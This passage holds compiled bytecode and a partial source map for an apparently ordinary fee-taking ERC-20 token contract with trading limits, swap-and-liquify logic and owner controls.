15260186020908152604080832093909416825291909152205490565b348015610422575f80fd5b506101fc6104313660046115b2565b610814565b5f610442338484610890565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b79290916104b191906109b3565b906109b3565b905090565b5f6104c88484846109be565b6105198433610514856040518060600160405280602881526020016117ce602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eff565b610890565b5060015b9392505050565b5f546001600160a01b031633146105565760405162461bcd60e51b815260040161054d90611674565b60405180910390fd5b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161054d90611674565b5f61062361271061061d86600154610f2a90919063ffffffff16565b90610f35565b90505f61064161271061061d86600154610f2a90919063ffffffff16565b90505f61065f61271061061d86600154610f2a90919063ffffffff16565b600f8490556010839055601181905590505f61068a6103e861061d600561068461044c565b90610f2a565b905080841015801561069c5750808310155b80156106a85750808210155b61070b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054d565b50505050505050565b5f6104423384846109be565b5f546001600160a01b031633146107495760405162461bcd60e51b815260040161054d90611674565b60078790556008869055600a8590556009849055600b839055600c829055600d819055600e5461077a906001610f35565b600b541115801561079a5750600e54610794906001610f35565b600c5411155b80156107b55750600e546107af906001610f35565b600d5411155b61070b5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054d565b5f546001600160a01b0316331461083d5760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b0382166109535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051d82846116a8565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b6001600160a01b0383165f90815260176020526040902054811115610b055760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4557506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9457601654600160a01b900460ff16610b945760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd457506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bee57506003546001600160a01b03838116911614155b8015610c0557506001600160a01b03821661dead14155b15610c7d576011546001600160a01b0383165f90815260176020526040902054610c2f9083610f40565b1115610c7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054d565b6003546001600160a01b03848116911614610d1c5760105481111580610cba57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdc57506001600160a01b0382165f9081526019602052604090205460ff165b610d1c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b600f5481111580610d4457506001600160a01b0383165f9081526019602052604090205460ff165b80610d6657506001600160a01b0382165f9081526019602052604090205460ff165b610da65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b6003546001600160a01b038381169116148015610ddb57506001600160a01b0383165f9081526019602052604090205460ff16155b15610df857600160045f828254610df291906116bb565b90915550505b610e03838383610f4b565b15610e1857610e13601254611003565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3a90826109b3565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e6e5781610e79565b610e79848484611173565b6001600160a01b0384165f90815260176020526040902054909150610e9e9082610f40565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a350505050565b5f8184841115610f225760405162461bcd60e51b815260040161054d91906114e8565b505050900390565b5f61051d82846116ce565b5f61051d82846116e5565b5f61051d82846116bb565b601354601254305f9081526017602052604081205460055491938510159211159060ff16158015610f855750601654600160a81b900460ff165b8015610f9a5750601654600160a01b900460ff165b8015610fa35750815b8015610fc757506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe057506003546001600160a01b038681169116145b8015610ff0575060065460045410155b8015610ff95750805b9695505050505050565b6005805460ff191660019081179091556009546008546007545f9361103c93600293610684939192611036928391610f40565b90610f40565b90505f6110588261061d60075486610f2a90919063ffffffff16565b90505f61106584836109b3565b9050476110718261129d565b5f61107c47836109b3565b90505f61109e611097600754886109b390919063ffffffff16565b8390610f35565b90505f6110b660075483610f2a90919063ffffffff16565b905080156110c8576110c886826113ed565b6008545f906110dc90610684856002610f2a565b9050801561111d576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b505b47801561115d576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115b573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119c5750600f5461051d565b5f6111a7858561149e565b1115611296575f6111c96111bb868661149e565b600e54610684908690610f35565b305f908152601760205260409020549091506111e59082610f40565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112359085815260200190565b60405180910390a35f600a541180156112585750600a54611256868661149e565b115b15611284576112843061dead61127f600a54610684600e5489610f3590919063ffffffff16565b6109be565b61128e83826109b3565b91505061051d565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d0576112d0611704565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b9190611718565b8160018151811061135e5761135e611704565b6001600160a01b0392831660209182029290920101526002546113849130911684610890565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc9085905f90869030904290600401611733565b5f604051808303815f87803b1580156113d3575f80fd5b505af11580156113e5573d5f803e3d5ffd5b505050505050565b6002546114059030906001600160a01b031684610890565b60025460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611472573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149791906117a2565b5050505050565b6003545f906001600160a01b03908116908316036114bf5750600c54610446565b6003546001600160a01b03908116908416036114de5750600b54610446565b50600d5492915050565b5f6020808352835180828501525f5b81811015611513578581018301518582016040015282016114f7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611547575f80fd5b50565b5f806040838503121561155b575f80fd5b823561156681611533565b946020939093013593505050565b5f805f60608486031215611586575f80fd5b833561159181611533565b925060208401356115a181611533565b929592945050506040919091013590565b5f602082840312156115c2575f80fd5b813561051d81611533565b5f805f606084860312156115df575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160c575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561164e575f80fd5b823561165981611533565b9150602083013561166981611533565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044657610446611694565b8082018082111561044657610446611694565b808202811582820484141761044657610446611694565b5f826116ff57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611728575f80fd5b815161051d81611533565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117815784516001600160a01b03168352938301939183019160010161175c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207116f24e34ca014b103b10622d0e5186203a5df3fd10ac36b0d3d13ec6cd9fa964736f6c63430008150033
Deployed Bytecode Sourcemap
3858:9723:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6187:67;;;;;;;;;;-1:-1:-1;6247:5:0;;;;;;;;;;;;-1:-1:-1;;;6247:5:0;;;;6187:67;;;;;;;:::i;:::-;;;;;;;;7092:133;;;;;;;;;;-1:-1:-1;7092:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7092:133:0;1023:187:1;6881:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6881:132:0;1215:177:1;7580:309:0;;;;;;;;;;-1:-1:-1;7580:309:0;;;;;:::i;:::-;;:::i;7019:67::-;;;;;;;;;;;;;:::i;:::-;;534:87;;;;;;;;;;-1:-1:-1;534:87:0;;;;;:::i;:::-;589:4;614:5;-1:-1:-1;;;;;603:16:0;;;614:5;;603:16;;534:87;4727:60;;;;;;;;;;;;;;;;6337:67;;;;;;;;;;-1:-1:-1;6337:67:0;;3968:1;2252:36:1;;2240:2;2225:18;6337:67:0;2110:184:1;4602:55:0;;;;;;;;;;;;;;;;6772:103;;;;;;;;;;-1:-1:-1;6772:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6855:18:0;6838:7;6855:18;;;:9;:18;;;;;;;6772:103;627:108;;;;;;;;;;;;;:::i;5469:46::-;;;;;;;;;;-1:-1:-1;5469:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6555:78;;;;;;;;;;-1:-1:-1;6607:7:0;6625:5;-1:-1:-1;;;;;6625:5:0;6555:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6555:78:0;2299:203:1;6260:71:0;;;;;;;;;;-1:-1:-1;6322:7:0;;;;;;;;;;;;-1:-1:-1;;;6322:7:0;;;;6260:71;;10914:542;;;;;;;;;;-1:-1:-1;10914:542:0;;;;;:::i;:::-;;:::i;4167:19::-;;;;;;;;;;-1:-1:-1;4167:19:0;;;;-1:-1:-1;;;;;4167:19:0;;;6410:139;;;;;;;;;;-1:-1:-1;6410:139:0;;;;;:::i;:::-;;:::i;4664:56::-;;;;;;;;;;;;;;;;9985:519;;;;;;;;;;-1:-1:-1;9985:519:0;;;;;:::i;:::-;;:::i;6639:127::-;;;;;;;;;;-1:-1:-1;6639:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6737:18:0;;;6720:7;6737:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6639:127;741:111;;;;;;;;;;-1:-1:-1;741:111:0;;;;;:::i;:::-;;:::i;7092:133::-;7167:4;7174:37;7183:10;7195:7;7204:6;7174:8;:37::i;:::-;-1:-1:-1;7219:4:0;7092:133;;;;;:::o;6881:132::-;6855:9;:18;;;;5215:42;6934:7;6855:18;;;;;6951:12;;6934:7;;6951:60;;6855:18;;6951:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;6944:67;;6881:132;:::o;7580:309::-;7678:4;7695:36;7705:6;7713:9;7724:6;7695:9;:36::i;:::-;7742:117;7751:6;7759:10;7771:87;7807:6;7771:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7771:19:0;;;;;;:11;:19;;;;;;;;7791:10;7771:31;;;;;;;;;:87;:35;:87::i;:::-;7742:8;:117::i;:::-;-1:-1:-1;7877:4:0;7580:309;;;;;;:::o;7019:67::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;;;;;;;;;7063:14:::1;:21:::0;;-1:-1:-1;;;;7063:21:0::1;-1:-1:-1::0;;;7063:21:0::1;::::0;;7019:67::o;627:108::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;692:1:::1;676:18:::0;;-1:-1:-1;;;;;;676:18:0::1;::::0;;701:32:::1;::::0;2445:51:1;;;701:32:0::1;::::0;2433:2:1;2418:18;701:32:0::1;;;;;;;627:108::o:0;10914:542::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;11020:13:::1;11036:33;11063:5;11036:22;11053:4;11036:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;11020:49;;11071:19;11093:34;11121:5;11093:23;11110:5;11093:12;;:16;;:23;;;;:::i;:34::-;11071:56;;11129:17;11149:36;11179:5;11149:25;11166:7;11149:12;;:16;;:25;;;;:::i;:36::-;11196:7;:15:::0;;;11213:8:::1;:22:::0;;;11237:12:::1;:24:::0;;;11129:56;-1:-1:-1;;11288:30:0::1;11313:4;11288:20;11306:1;11288:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11272:46;;11346:5;11337;:14;;:38;;;;;11370:5;11355:11;:20;;11337:38;:60;;;;;11392:5;11379:9;:18;;11337:60;11329:119;;;::::0;-1:-1:-1;;;11329:119:0;;4614:2:1;11329:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;11329:119:0::1;4412:410:1::0;11329:119:0::1;11009:447;;;;10914:542:::0;;;:::o;6410:139::-;6488:4;6495:40;6505:10;6517:9;6528:6;6495:9;:40::i;9985:519::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;10175:9:::1;:22:::0;;;10199:16:::1;:29:::0;;;10230:11:::1;:19:::0;;;10251:10:::1;:25:::0;;;10278:6:::1;:15:::0;;;10295:7:::1;:15:::0;;;10312:11:::1;:20:::0;;;10361:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10361:15:0::1;:18::i;:::-;10351:6;;:28;;:61;;;;-1:-1:-1::0;10394:11:0::1;::::0;:18:::1;::::0;10410:1:::1;10394:15;:18::i;:::-;10383:7;;:29;;10351:61;:98;;;;-1:-1:-1::0;10431:11:0::1;::::0;:18:::1;::::0;10447:1:::1;10431:15;:18::i;:::-;10416:11;;:33;;10351:98;10343:153;;;::::0;-1:-1:-1;;;10343:153:0;;5029:2:1;10343:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10343:153:0::1;4827:406:1::0;741:111:0;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;807:5:::1;:11:::0;;-1:-1:-1;;;;;;807:11:0::1;-1:-1:-1::0;;;;;807:11:0;::::1;::::0;;::::1;::::0;;;825:25:::1;::::0;2445:51:1;;;825:25:0::1;::::0;2433:2:1;2418:18;825:25:0::1;;;;;;;741:111:::0;:::o;7233:335::-;-1:-1:-1;;;;;7326:19:0;;7318:68;;;;-1:-1:-1;;;7318:68:0;;5656:2:1;7318:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;7318:68:0;5454:400:1;7318:68:0;-1:-1:-1;;;;;7405:21:0;;7397:68;;;;-1:-1:-1;;;7397:68:0;;6061:2:1;7397:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;7397:68:0;5859:398:1;7397:68:0;-1:-1:-1;;;;;7476:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7528:32;;1361:25:1;;;7528:32:0;;1334:18:1;7528:32:0;;;;;;;7233:335;;;:::o;1037:98::-;1095:7;1122:5;1126:1;1122;:5;:::i;11690:1437::-;-1:-1:-1;;;;;11787:20:0;;11779:70;;;;-1:-1:-1;;;11779:70:0;;6729:2:1;11779:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11779:70:0;6527:401:1;11779:70:0;-1:-1:-1;;;;;11868:23:0;;11860:71;;;;-1:-1:-1;;;11860:71:0;;7135:2:1;11860:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11860:71:0;6933:399:1;11860:71:0;-1:-1:-1;;;;;6855:18:0;;6838:7;6855:18;;;:9;:18;;;;;;11950:6;:27;;11942:88;;;;-1:-1:-1;;;11942:88:0;;7539:2:1;11942:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11942:88:0;7337:413:1;11942:88:0;-1:-1:-1;;;;;12045:21:0;;;;;;:13;:21;;;;;;;;12044:22;:51;;;;-1:-1:-1;;;;;;12071:24:0;;;;;;:13;:24;;;;;;;;12070:25;12044:51;12041:99;;;12105:14;;-1:-1:-1;;;12105:14:0;;;;12097:41;;;;-1:-1:-1;;;12097:41:0;;7957:2:1;12097:41:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:44;8069:18;;12097:41:0;7755:338:1;12097:41:0;-1:-1:-1;;;;;12154:21:0;;;;;;:13;:21;;;;;;;;12153:22;:51;;;;-1:-1:-1;;;;;;12180:24:0;;;;;;:13;:24;;;;;;;;12179:25;12153:51;:81;;;;-1:-1:-1;12229:4:0;;-1:-1:-1;;;;;12208:26:0;;;12229:4;;12208:26;;12153:81;:111;;;;-1:-1:-1;;;;;;12238:26:0;;5215:42;12238:26;;12153:111;12150:221;;;12322:12;;-1:-1:-1;;;;;12285:20:0;;;;;;:9;:20;;;;;;:32;;12310:6;12285:24;:32::i;:::-;12284:50;;12276:93;;;;-1:-1:-1;;;12276:93:0;;8300:2:1;12276:93:0;;;8282:21:1;8339:2;8319:18;;;8312:30;8378:32;8358:18;;;8351:60;8428:18;;12276:93:0;8098:354:1;12276:93:0;12394:4;;-1:-1:-1;;;;;12384:14:0;;;12394:4;;12384:14;12381:122;;12418:8;;12408:6;:18;;:43;;;-1:-1:-1;;;;;;12430:21:0;;;;;;:13;:21;;;;;;;;12408:43;:71;;;-1:-1:-1;;;;;;12455:24:0;;;;;;:13;:24;;;;;;;;12408:71;12400:101;;;;-1:-1:-1;;;12400:101:0;;8659:2:1;12400:101:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12400:101:0;8457:341:1;12400:101:0;12531:7;;12521:6;:17;;:42;;;-1:-1:-1;;;;;;12542:21:0;;;;;;:13;:21;;;;;;;;12521:42;:70;;;-1:-1:-1;;;;;;12567:24:0;;;;;;:13;:24;;;;;;;;12521:70;12513:100;;;;-1:-1:-1;;;12513:100:0;;8659:2:1;12513:100:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12513:100:0;8457:341:1;12513:100:0;12641:4;;-1:-1:-1;;;;;12628:17:0;;;12641:4;;12628:17;:43;;;;-1:-1:-1;;;;;;12650:21:0;;;;;;:13;:21;;;;;;;;12649:22;12628:43;12625:75;;;12696:1;12673:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;12625:75:0;12713:39;12726:6;12734:9;12745:6;12713:12;:39::i;:::-;12710:105;;;12754:33;12776:10;;12754:21;:33::i;:::-;12811:1;12789:11;:24;12710:105;-1:-1:-1;;;;;12845:17:0;;;;;;:9;:17;;;;;;:29;;12867:6;12845:21;:29::i;:::-;-1:-1:-1;;;;;12825:17:0;;;;;;:9;:17;;;;;;;;:49;;;;12911:13;:21;;;;;;;;12910:22;:76;;12980:6;12910:76;;;12935:42;12951:6;12959:9;12970:6;12935:15;:42::i;:::-;-1:-1:-1;;;;;13020:20:0;;;;;;:9;:20;;;;;;12885:101;;-1:-1:-1;13020:40:0;;12885:101;13020:24;:40::i;:::-;-1:-1:-1;;;;;12997:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13076:43;;;;;;;;;;13104:14;1361:25:1;;1349:2;1334:18;;1215:177;13076:43:0;;;;;;;;11768:1359;11690:1437;;;:::o;1461:240::-;1581:7;1642:12;1634:6;;;;1626:29;;;;-1:-1:-1;;;1626:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1677:5:0;;;1461:240::o;1143:98::-;1201:7;1228:5;1232:1;1228;:5;:::i;1249:98::-;1307:7;1334:5;1338:1;1334;:5;:::i;931:98::-;989:7;1016:5;1020:1;1016;:5;:::i;10512:394::-;10651:10;;10722;;10712:4;10608;6855:18;;;:9;:18;;;;;;10751:6;;10608:4;;10641:20;;;;-1:-1:-1;10694:38:0;;10751:6;;10750:7;:22;;;;-1:-1:-1;10761:11:0;;-1:-1:-1;;;10761:11:0;;;;10750:22;:40;;;;-1:-1:-1;10776:14:0;;-1:-1:-1;;;10776:14:0;;;;10750:40;:52;;;;;10794:8;10750:52;:78;;;;-1:-1:-1;;;;;;10807:21:0;;;;;;:13;:21;;;;;;;;10806:22;10750:78;:99;;;;-1:-1:-1;10845:4:0;;-1:-1:-1;;;;;10832:17:0;;;10845:4;;10832:17;10750:99;:130;;;;;10868:12;;10853:11;;:27;;10750:130;:148;;;;;10884:14;10750:148;10743:155;10512:394;-1:-1:-1;;;;;;10512:394:0:o;8575:1051::-;5543:6;:13;;-1:-1:-1;;5543:13:0;5552:4;5543:13;;;;;;8717:10:::1;::::0;8695:16:::1;::::0;8674:9:::1;::::0;5543:6;;8673:63:::1;::::0;8734:1:::1;::::0;8674:54:::1;::::0;8717:10;;8674:38:::1;::::0;;;:13:::1;:16::i;:::-;:20:::0;::::1;:38::i;8673:63::-;8650:86;;8747:32;8782:39;8808:12;8782:21;8793:9;;8782:6;:10;;:21;;;;:::i;:39::-;8747:74:::0;-1:-1:-1;8832:14:0::1;8849:36;:6:::0;8747:74;8849:10:::1;:36::i;:::-;8832:53:::0;-1:-1:-1;8921:21:0::1;8953:24;8832:53:::0;8953:16:::1;:24::i;:::-;8988:20;9011:41;:21;9037:14:::0;9011:25:::1;:41::i;:::-;8988:64;;9063:19;9084:45;9101:27;9118:9;;9101:12;:16;;:27;;;;:::i;:::-;9084:12:::0;;:16:::1;:45::i;:::-;9063:66;;9140:29;9172:26;9188:9;;9172:11;:15;;:26;;;;:::i;:::-;9140:58:::0;-1:-1:-1;9212:34:0;;9209:103:::1;;9248:61;9261:24;9287:21;9248:12;:61::i;:::-;9368:16;::::0;9322:20:::1;::::0;9345:40:::1;::::0;:18:::1;:11:::0;9361:1:::1;9345:15;:18::i;:40::-;9322:63:::0;-1:-1:-1;9399:16:0;;9396:73:::1;;9425:18;::::0;9417:50:::1;::::0;-1:-1:-1;;;;;9425:18:0;;::::1;::::0;9417:50;::::1;;;::::0;9454:12;;9425:18:::1;9417:50:::0;9425:18;9417:50;9454:12;9425:18;9417:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9396:73;9505:21;9540:28:::0;;9537:82:::1;;9578:12;::::0;9570:47:::1;::::0;-1:-1:-1;;;;;9578:12:0;;::::1;::::0;9570:47;::::1;;;::::0;9601:15;;9578:12:::1;9570:47:::0;9578:12;9570:47;9601:15;9578:12;9570:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9537:82;-1:-1:-1::0;;5561:6:0;:14;;-1:-1:-1;;5561:14:0;;;-1:-1:-1;;;;;;;;8575:1051:0:o;7897:670::-;-1:-1:-1;;;;;8015:24:0;;7991:7;8015:24;;;:13;:24;;;;;;;;8011:47;;;-1:-1:-1;8049:7:0;;8042:14;;8011:47;8105:1;8071:31;8084:6;8092:9;8071:12;:31::i;:::-;:35;8068:477;;;8118:17;8138:60;8166:31;8179:6;8187:9;8166:12;:31::i;:::-;8149:11;;8138:23;;:6;;:10;:23::i;:60::-;8254:4;8236:24;;;;:9;:24;;;;;;8118:80;;-1:-1:-1;8236:39:0;;8118:80;8236:28;:39::i;:::-;8227:4;8209:24;;;;:9;:24;;;;;;;:66;;;;8291:42;;-1:-1:-1;;;;;8291:42:0;;;;;;;8323:9;1361:25:1;;1349:2;1334:18;;1215:177;8291:42:0;;;;;;;;8369:1;8347:11;;:24;:73;;;;;8409:11;;8375:31;8388:6;8396:9;8375:12;:31::i;:::-;:45;8347:73;8344:161;;;8422:81;8440:4;5215:42;8462:40;8490:11;;8462:23;8473:11;;8462:6;:10;;:23;;;;:::i;:40::-;8422:9;:81::i;:::-;8522:21;:6;8533:9;8522:10;:21::i;:::-;8515:28;;;;;8068:477;-1:-1:-1;8553:6:0;7897:670;-1:-1:-1;;7897:670:0:o;13135:443::-;13225:16;;;13239:1;13225:16;;;;;;;;13201:21;;13225:16;;;;;;;;;;-1:-1:-1;13225:16:0;13201:40;;13270:4;13252;13257:1;13252:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13252:23:0;;;:7;;;;;;;;;;:23;;;;13296:9;;:16;;;-1:-1:-1;;;13296:16:0;;;;:9;;;;;:14;;:16;;;;;13252:7;;13296:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13286:4;13291:1;13286:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13286:26:0;;;:7;;;;;;;;;:26;13355:9;;13323:56;;13340:4;;13355:9;13367:11;13323:8;:56::i;:::-;13390:9;;:180;;-1:-1:-1;;;13390:180:0;;-1:-1:-1;;;;;13390:9:0;;;;:60;;:180;;13465:11;;13390:9;;13507:4;;13534;;13554:15;;13390:180;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13190:388;13135:443;:::o;9634:343::-;9747:9;;9715:56;;9732:4;;-1:-1:-1;;;;;9747:9:0;9759:11;9715:8;:56::i;:::-;9782:9;;9926:12;;9782:187;;-1:-1:-1;;;9782:187:0;;9848:4;9782:187;;;11174:34:1;11224:18;;;11217:34;;;9782:9:0;11267:18:1;;;11260:34;;;11310:18;;;11303:34;-1:-1:-1;;;;;9926:12:0;;;11353:19:1;;;11346:44;9953:15:0;11406:19:1;;;11399:35;9782:9:0;;;:25;;9815:9;;11108:19:1;;9782:187:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9634:343;;:::o;11464:218::-;11580:4;;11544:7;;-1:-1:-1;;;;;11580:4:0;;;11567:17;;;;11564:38;;-1:-1:-1;11593:7:0;;11586:14;;11564:38;11625:4;;-1:-1:-1;;;;;11625:4:0;;;11615:14;;;;11612:34;;-1:-1:-1;11638:6:0;;11631:13;;11612:34;-1:-1:-1;11663:11:0;;11464:218;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-